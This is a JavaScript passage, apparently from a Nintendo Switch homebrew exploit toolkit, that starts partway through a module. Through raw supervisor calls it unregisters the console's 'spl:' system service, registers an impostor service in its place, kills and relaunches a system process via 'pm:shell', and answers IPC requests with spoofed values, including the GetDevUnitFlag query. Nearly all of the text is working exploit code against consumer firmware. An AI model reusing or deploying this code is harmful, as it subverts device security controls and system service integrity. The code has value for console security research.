		for(var i = 0; i < handles.length; ++i)
			sdb.write8([handles[i], 0], utils.add2(sdbIpcBuf, 4 + i * 4));
		var ret = sdb.svc(0x18, [sdbIpcBuf, utils.add2(sdbIpcBuf, 4), handles.length, 0])[0];
		var hndI = sdb.read4(sdbIpcBuf);
		return [ret, hndI];
	}

	function acceptSession(handle) {
		sdb.svc(0x41, [sdbIpcBuf, handle]);
		return sdb.read4(sdbIpcBuf);
	}

	function readIncoming(handle) {
		utils.log('Writing handle');
		sdb.write8([handle, 0], sdb.scratch);
		utils.log('replyandreceive');
		var ret = sdb.svc(0x44, [sdb.scratch, sdbIpcBuf, 0x1000, sdb.scratch, 1, [0, 0], [0xffffffff, 0xffffffff]])[0];
		utils.log('Copying data');
		if(ret == 0xf601)
			return null;
		var data = new Uint32Array(0x100);
		sdb.memcpyToBrowser(data, sdbIpcBuf, 7 << 2);
		utils.log('Done?');
		return data;
	}

	function respond(handle, data) {
		utils.log('Attempting to respond');
		sdb.memcpyFromBrowser(sdbIpcBuf, data, data.length << 2);
		utils.log('replyandreceive');
		utils.log(utils.paddr(sdb.svc(0x44, [sdb.scratch, sdbIpcBuf, 0x1000, sdb.scratch, 0, handle, [0, 0]])));
		utils.log('Done?');
	}

	this.sc.unregisterService('spl:');

	utils.log('Opening SM handle');
	utils.log(utils.paddr(sdb.svc(0x1F, [sdbIpcBuf, utils.add2(sdb.sdb_base, 0x71807)])));
	var sdbSmHandle = sdb.read4(sdbIpcBuf);
	utils.log('SM handle: ' + sdbSmHandle.toString(16));

	var data = new Uint32Array([0x4, 0xc, 0, 0, 0x49434653, 0, 2, 0, 0x3a6c7073, 0, 200, 0x20]);
	sdb.memcpyFromBrowser(sdbIpcBuf, data, data.length << 2);
	utils.log(utils.paddr(sdb.svc(0x22, [sdbIpcBuf, 0x1000, sdbSmHandle])));
	var output = new Uint32Array(0x100 >> 2);
	sdb.memcpyToBrowser(output, sdbIpcBuf, 4 << 2);
	
	for(var i = 0; i < 4; ++i)
		utils.log(output[i].toString(16));

	var portHandle = output[3];
	utils.log('Port handle: ' + portHandle.toString(16));
	var handles = [portHandle];
	
	waitHandles(handles);

	var lgetServicePid = function(service) {
		this.sc.killAutoHandle();
		var res = this.sc.ipcMsg(2).setType(3).datau64(0).sendTo(service).show();
		this.sc.svcCloseHandle(res.movedHandles[0]);
		return res.pid[0];
	};

	var service = 'ldr:ro';
	var pid = lgetServicePid(service);
	utils.log(service + ' is PID 0x'+pid.toString(16));

	this.sc.ipcMsg(1).data(pid).sendTo('pm:shell').show();

	var tid = utils.parseAddr('0100000000000037');

	var newPid = this.sc.ipcMsg(0).datau64(0, tid, 3).sendTo('pm:shell').show().data[1][0];

	var interval = setInterval(function() {
		var temp = waitHandles(handles);
		switch(temp[0]) {
		case 0:
			utils.log('Handle ' + temp[1] + ' ready');
			var handle = handles[temp[1]];
			if(handle == portHandle) {
				var pipe = acceptSession(portHandle);
				utils.log('Accepted new pipe ' + pipe.toString(16));
				handles.push(pipe);
			} else {
				utils.log('Got incoming message on ' + handle.toString(16));
				var data = readIncoming(handle);
				if(data == null) {
					utils.log('Pipe closed.  Removing.');
					sdb.svc(0x16, [handle]);
					handles.splice(handles.indexOf(handle), 1);
					clearInterval(interval); // We should be done now!
					if (sdb.onready != null)
						sdb.onready();
					break;
				}

				if(data[6] == 11) { // GetDevUnitFlag
					respond(handle, new Uint32Array([0, 0xa, 0, 0, 0x4f434653, 0, 0, 0, 0, 0]));
				} else if(data[6] == 0) {
					respond(handle, new Uint32Array([0, 0xa, 0, 0, 0x4f434653, 0, 0, 0, 1, 0]));
				} else {
					clearInterval(interval);
				}
			}
			break;
		case 0xea01:
			break;
		default:
			utils.log('Unknown ret for wait: ' + temp[0].toString(16));
			break;
		}
	}, 100);
};

module.exports = sdbcore;